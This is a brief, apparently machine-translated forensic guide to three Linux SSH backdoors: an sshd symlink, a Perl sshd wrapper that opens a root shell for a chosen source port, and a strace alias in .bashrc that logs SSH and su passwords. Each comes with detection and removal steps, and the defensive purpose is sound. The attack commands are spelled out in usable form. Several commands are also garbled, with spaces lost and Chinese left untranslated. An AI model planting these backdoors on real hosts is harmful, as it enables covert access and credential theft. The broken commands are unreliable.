"Forensic analysis" Linux SSH backdoor Analysis and troubleshooting

1. SSH Backdoor classification

SSH Backdoor mode has the following several

• Soft links
• SSH Server Wrapper
• SSH Keylogger

2. Soft link

• Utilization method

[email protected]]# ln-sf/usr/sbin/sshd/tmp/su; /tmp/su-oport=2333;

• Troubleshooting Methods

[email protected]]# Netstat-anop

By developing the PID query process path for port information, the "ll/proc/xxxx" command looks at the path of the program.

• Clear back Door

kill -9 pidrm -rf 后门程序

3. SSH Server Wrapper

• Utilization method

/USR/SBIN/SSHD file mv to/usr/bin directory first

[[email protected] ~]# cd /usr/sbin/[[email protected] sbin]# mv sshd ../bin[[email protected] sbin]# vim sshd

Edit Sshd again

#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

Set Permissions again

chmod 755 sshd

Attacker:

Perform Socat STDIO on this machine tcp4:target_ip:22,sourceport=19526

• Troubleshooting Methods

View ports can see the ports outside the network chain

Because the normal sshd path is in/usr/sbin/sshd, the path path of the sshd is viewed in/usr/bin/sshd by the command "Ll/proc/xxx". So I conclude that sshd is passive and hands-off.

By looking at the sshd file, you know that sshd is really passive.

• Clear back Door

rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

4. SSH Keylogger

• Utilization method

Edit the. bashrc file under the current user

vi /root/.bashrc

Add the following backdoor code to the last side:

alias ssh=‘strace -o /tmp/sshpwd-`date    ‘+%d%h%m%s‘`.log -e read,write,connect  -s2048 ssh‘

The "source. BASHRC" command causes the changed configuration to take effect

SSH connection or su Switch user, password to enter the password, whether error or correct can be recorded in the log

• Troubleshooting Methods

Troubleshoot environment variables

• Clear back Door

Emptying the contents of an increased environment variable

5. Reference

Https://joychou.org/hostsec/linux-ssh-backdoor.html
Http://pastebin.com/2NgL8SDE
http://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper/
https://diogomonica.com/posts/poor-man-s-ssh-keylogger/
http://drops.wooyun.org/tips/1951

Forensic analysis Linux SSH backdoor analysis and troubleshooting